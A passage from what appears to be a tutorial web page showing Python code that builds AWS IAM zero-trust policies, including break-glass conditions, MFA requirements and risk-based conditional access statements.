                        <span class="sh">"</span><span class="s">ec2:*NetworkAcl*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">ec2:*VpcEndpoint*</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">kms:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">secretsmanager:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">ssm:*Parameter*</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">iam:DeleteRole</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:DetachRolePolicy</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:DeleteUser</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:DeleteGroup</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">arn:aws:iam::*:role/ZeroTrust-*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">arn:aws:iam::*:role/aws-service-role/*</span><span class="sh">"</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">generate_security_admin_conditions</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate conditional access controls for security admins</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireStrongMFAForCriticalActions</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">iam:CreateUser</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:CreateRole</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:AttachUserPolicy</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:AttachRolePolicy</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">organizations:CreateAccount</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">organizations:InviteAccountToOrganization</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">NumericGreaterThan</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:MultiFactorAuthAge</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">1800</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireApprovalForBreakGlassAccess</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">sso:CreatePermissionSet</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">sso:AttachManagedPolicyToPermissionSet</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">sso:PutInlinePolicyToPermissionSet</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringLike</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:PrincipalTag/ApprovalRequired</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">true</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">generate_breakglass_conditions</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate strict conditions for break-glass access</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">LogAllBreakGlassActions</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Bool</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:CloudTrailLogged</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">true</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireJustificationTag</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Null</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:PrincipalTag/BreakGlassJustification</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">true</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RestrictToEmergencyRegions</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringNotEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:RequestedRegion</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                                <span class="sh">"</span><span class="s">us-east-1</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">us-west-2</span><span class="sh">"</span>
                            <span class="p">]</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>

<span class="c1"># Example usage and testing
</span><span class="n">identity_manager</span> <span class="o">=</span> <span class="nc">ZeroTrustIdentityManager</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="advanced-conditional-access-implementation">Advanced Conditional Access Implementation</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span>
<span class="kn">import</span> <span class="n">ipaddress</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span>

<span class="k">class</span> <span class="nc">ConditionalAccessManager</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">iam</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">iam</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sso_admin</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sso-admin</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">organizations</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">organizations</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Define trusted IP ranges for the organization
</span>        <span class="n">self</span><span class="p">.</span><span class="n">trusted_ip_ranges</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">'</span><span class="s">192.168.1.0/24</span><span class="sh">'</span><span class="p">,</span>    <span class="c1"># Corporate network
</span>            <span class="sh">'</span><span class="s">10.0.0.0/8</span><span class="sh">'</span><span class="p">,</span>        <span class="c1"># VPN ranges
</span>            <span class="sh">'</span><span class="s">172.16.0.0/12</span><span class="sh">'</span>      <span class="c1"># Private networks
</span>        <span class="p">]</span>
        
        <span class="c1"># Define approved device certificate thumbprints
</span>        <span class="n">self</span><span class="p">.</span><span class="n">approved_device_certs</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">'</span><span class="s">sha256:1234567890abcdef...</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">sha256:fedcba0987654321...</span><span class="sh">'</span>
        <span class="p">]</span>
    
    <span class="k">def</span> <span class="nf">create_adaptive_access_policy</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">risk_level</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create adaptive access policy based on risk assessment</span><span class="sh">"""</span>
        
        <span class="n">base_policy</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Add statements based on risk level
</span>        <span class="k">if</span> <span class="n">risk_level</span> <span class="o">==</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">base_policy</span><span class="p">[</span><span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">].</span><span class="nf">extend</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">get_low_risk_statements</span><span class="p">())</span>
        <span class="k">elif</span> <span class="n">risk_level</span> <span class="o">==</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">base_policy</span><span class="p">[</span><span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">].</span><span class="nf">extend</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">get_medium_risk_statements</span><span class="p">())</span>
        <span class="k">elif</span> <span class="n">risk_level</span> <span class="o">==</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">base_policy</span><span class="p">[</span><span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">].</span><span class="nf">extend</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">get_high_risk_statements</span><span class="p">())</span>
        
        <span class="k">return</span> <span class="n">base_policy</span>
    
    <span class="k">def</span> <span class="nf">get_low_risk_statements</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Generate policy statements for low-risk scenarios</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">AllowTrustedNetworkAccess</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">IpAddress</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:SourceIp</span><span class="sh">"</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">trusted_ip_ranges</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireMFAForSensitiveActions</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sh">"</span><span class="s">iam:*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">organizations:*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">account:*</span><span class="sh">"</span>
                <span class="p">],</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">BoolIfExists</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:MultiFactorAuthPresent</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">false</span><span class="sh">"</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">]</span>
    
    <span class="k">def</span> <span class="nf">get_medium_risk_statements</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Generate policy statements for medium-risk scenarios</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireStrongMFAForAllActions</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">NumericGreaterThan</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:MultiFactorAuthAge</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">7200</span><span class="sh">"</span>  <span class="c1"># 2 hours
</span>                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RestrictToBusinessHours</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">DateGreaterThan</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:CurrentTime</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">18:00Z</span><span class="sh">"</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireApprovedDeviceCertificate</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">StringNotEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:RequestTag/DeviceCertThumbprint</span><span class="sh">"</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">approved_device_certs</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">]</span>
    
    <span class="k">def</span> <span class="nf">get_high_risk_statements</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Generate policy statements for high-risk scenarios</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">DenyAllUntrustedAccess</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">IpAddressIfExists</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:SourceIp</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">0.0.0.0/0</span><span class="sh">"</span>
                    <span class="p">},</span>
                    <span class="sh">"</span><span class="s">StringNotEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:SourceIp</span><span class="sh">"</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">trusted_ip_ranges</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireRecentStrongMFA</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">NumericGreaterThan</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:MultiFactorAuthAge</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">1800</span><span class="sh">"</span>  <span class="c1"># 30 minutes
</span>                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="p">{</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireAdditionalApproval</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sh">"</span><span class="s">iam:*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">organizations:*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">ec2:TerminateInstances</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">rds:DeleteDBInstance</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">s3:DeleteBucket</span><span class="sh">"</span>
                <span class="p">],</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">StringNotEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:PrincipalTag/EmergencyApproval</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">granted</span><span class="sh">"</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">]</span>
    
    <span class="k">def</span> <span class="nf">assess_access_risk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">user_context</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess risk level based on user context</span><span class="sh">"""</span>
        
        <span class="n">risk_score</span> <span class="o">=</span> <span class="mi">0</span>
        
        <span class="c1"># Check source IP
</span>        <span class="n">source_ip</span> <span class="o">=</span> <span class="n">user_context</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">source_ip</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">source_ip</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_trusted_ip</span><span class="p">(</span><span class="n">source_ip</span><span class="p">):</span>
            <span class="n">risk_score</span> <span class="o">+=</span> <span class="mi">30</span>
        
        <span class="c1"># Check time of access
</span>        <span class="n">access_time</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">fromisoformat</span><span class="p">(</span><span class="n">user_context</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">access_time</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">))</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_business_hours</span><span class="p">(</span><span class="n">access_time</span><span class="p">):</span>
            <span class="n">risk_score</span> <span class="o">+=</span> <span class="mi">20</span>
        
        <span class="c1"># Check device compliance
